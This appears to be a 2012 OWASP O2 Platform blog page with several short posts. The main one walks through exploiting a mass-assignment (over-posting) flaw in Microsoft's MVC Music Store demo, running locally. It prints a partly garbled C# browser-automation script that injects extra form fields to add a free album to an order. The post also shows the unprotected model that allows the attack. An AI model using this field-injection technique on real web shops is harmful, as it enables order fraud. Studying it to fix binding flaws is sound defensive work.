OWASP O2 Platform Blog

The latest version of OWASP O2 Platform is available: Your feedback is appreciated!

The latest version of OWASP  O2 Platform ( version 4.3) is now available for downloads. In the below screenshot (taken from the Dinis Cruz’s blog) you can see all this information:

O2 Platform latest version

O2 Platform latest version

In this image you can see that the download link is : http://tiny.cc/O2Platform.

One of our ideals is to build a strong platform that helps people and organizations to create secure applications, therefore we would like to hear from you. We would like to know what do you think about it, do you think we could provide more documentation and  examples about the usage of O2? . Let us know about it and we’ll be happy to receive your feedback.

October 4, 2012 Posted by | Uncategorized | | Leave a comment

OWASP O2 Platform Presentation : A good starting point.

If you didn’t realize there is a OWASP O2 presentation, I would like to provide the links with very helpful information. The title of this presentation is: OWASP O2 Platform – Automating Security Knowledge through Unit Tests , created by Dinis Cruz.
You can access to this slides from two places:

  1. From Speaker Deck at https://speakerdeck.com/u/diniscruz/p/owasp-o2-platform-automating-security-knowledge-through-unit-tests
  2. From Dinis Cruz’s blog :http://diniscruz.blogspot.co.uk/p/owasp-o2-platform.html

I wanted to provide this information because I have seen positive comments from some of my colleagues in Costa Rica, after looking at the presentation, most of those folks saw the magic  and power of O2 Platform.

The below image shows the first slide:

Enjoy it!

August 9, 2012 Posted by | Uncategorized | , , | Leave a comment

NuGet packages for OWASP O2 Platform

NuGet is a really interesting mechanism to install plugins on top of you Visual Studio project in a really  straightforward way. Dinis Cruz made the first components of O2 Platform available in a NuGet package.

Now  NuGet presents a new paradigm to install useful tools and avoid all the complication of the XML configurations that usually is a pain.  It’s really interesting to have all the OWASP O2 functionality available in this way. I bet this is going to be a better way to make it available in future releases or in the way we  will publish features on top of  Visual Studio .Net.

The below image  show our look up :

Managing NuGet packages

Managing NuGet packages

Now we are going to look for our OWASP O2 packages:

OWASP O2 at NuGet

OWASP O2 at NuGet

In order to simplify our lives, this mechanism is a really good option :).

July 4, 2012 Posted by | .NET | , , | Leave a comment

New reddit community for OWASP O2 and Cat.Net

A new community has been created on Reddit  for supporting Cat.Net , the static analysis engine created by Microsoft (but in the last year it has lack of support). We see an opportunity here to involve OWASP O2 platform and add value to our project in this new path of source code analysis.

Join this community today!

Reddit community

For more information visit http://diniscruz.blogspot.com/2012/06/new-reddit-community-for-catnet.html

June 13, 2012 Posted by | .NET SAST, O2 Scripting | , , | Leave a comment

Exploiting Microsoft MVC vulnerabilities using OWASP O2 Platform

In this post, I’m going to show the value added  of using OWASP O2 Platform to exploit (and therefore correct/detect/prevent) vulnerabilities on top of Microsoft MVC platform.


The industry has broadly adopting MVC architecture to build Web  applications during the last years  for several reasons, including the rapid  and efficient paradigm it represents to build really good applications.

Few weeks ago , a user exploited a vulnerability at  GitHub . The vulnerability exploited in this case, represents an old issue in the MVC architecture of different frameworks including Rails. This vulnerability is often named mass assignment , but it is also known as over posting or autobinding. Dinis Cruz  wrote an interesting post about this vulnerability in the Spring MVC framework in this post http://diniscruz.blogspot.com/2012/04/we-need-security-focused-saststatic.html.

In this same line, Dinis wrote a really nice O2 script that allows to exploit this vulnerability on top of Microsoft MVC . In order to illustrate this use case of OWASP O2 platform, Dinis used a demo MVC application named MVC Music Store    hosted in CodePlex( this is a great application that shows the use of this architecture).

Once you have this application up and running , then you probably are going to see something like this:



O2 Script to exploit the vulnerability

Dinis wrote the following script below to exploit this vulnerability, basically it is an IE automation script very powerful to overposting some post form fields and update them. Let’s see the script and then a quick explanation about it.

var ie = "ie_Fyila".o2Cache(()=> panel.clear().add_IE()).silent(true);  // ie ramdon value for o2cache makes this object to unique amongst multiple instances of this control

var site = "http://localhost:26641";

Action<string,string,string> register =
(username, password,email)=>{
ie.open(site + "/Account/Register");

Action loginAsTestUser =
var user1_name = "test_user".add_RandomLetters(5);
var user1_email = "test@testuser.com";
var user1_pwd = "a pwd".add_RandomLetters(10);
register(user1_name, user1_pwd, user1_email);


Action selectTestProductAndCheckout =
//Selection Led Zeppeling I album
ie.link(" Led Zeppelin I ").scrollIntoView().flash().click();
ie.link("Add to cart").flash().click();
ie.link("Checkout >>").flash().click();


Action populateSubmitOrder =
var Address     = "Foo Address";
var City         = "Foo City";
var Country     = "Foo Country";
var Email         = "Email@email.com";
var FirstName     = "Foo FirstName";
var LastName     = "Foo LastName";
var Phone         = "Foo Phone";
var PostalCode     = "AAA BBB";
var State         = "Foo State";
var PromoCode     = "FREE"; // currently hard coded promotional code


Action submitOrder =
ie.button("Submit Order").click();

Action createOrderUsingTestUser =

Action injectField =
(fieldName, value)=>{
{0}:<input type="text" name="{0}" value="{1}" />".format(fieldName, value));

Action runExploit_1 =

//the following simulates adding this to the POST request following URI Convention:
ie.open(site + "/OrderDetails");


return "done";


If you look at this script, you will notice that it purpose is to register a user, select an album and submit the order, but  look that the script injects other  fields (related to other album),  so we are buying just one album but  we are also submitting a second one by injecting it as a part of the HTML form fields, and guess what? it is for free :).

This is the HTTP Post form field  that were sent to the server:

HTTP form post fields using Fiddler

HTTP form post fields using Fiddler

And this is how our order detail looks like :

Order details

Order details

How was this  possible?

If you look at  the Orders model, you will notice that this model has some properties and the last one is a list of OrderDetails and lf you look carefully, then you will see that this property is not protected against modifications (like using ReadOnly attributes) . That makes possible that we could send some other fields as a part of the request.

//Some properties of the Orders model.
[Required(ErrorMessage = "Email Address is required")]
[DisplayName("Email Address")]
[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}",ErrorMessage = "Email is is not valid.")]
public string Email { get; set; }
public decimal Total { get; set; }

public List<OrderDetail> OrderDetails { get; set; }

The Checkout controller accepts a FormCollection as a parameter and it holds all the HTTP POST form fields, from the below image you can see that it has the data for the second order.

Checkout controller

Checkout controller

Final thoughts

This script is one of the many examples of the advantage of using O2 scripts, we were able to exploit  a vulnerability on top of Microsoft MVC.  The script is quite simple and easy to read, apart from that, it is powerful enough to identify this kind of problems. The IE automation section in OWASP O2 Platform represents a new paradigm in the automation process and it power allow us to make Web Application Security visible.

As you can see, it is easy to fall in this vulnerability, probably you can argue that this kind of issue might be solved using good design and best practices and you probably are right, but we are vulnerable when somebody could forget all the mechanisms to write secure code, specially when working with this  kind of architecture.

I would like to thank to Dinis Cruz  for making this script available and all his work in the O2 Platform project.

May 20, 2012 Posted by | .NET, ASP.NET MVC, Fixing Code, IE Automation, Vulnerabilities, WatiN | , , , | 5 Comments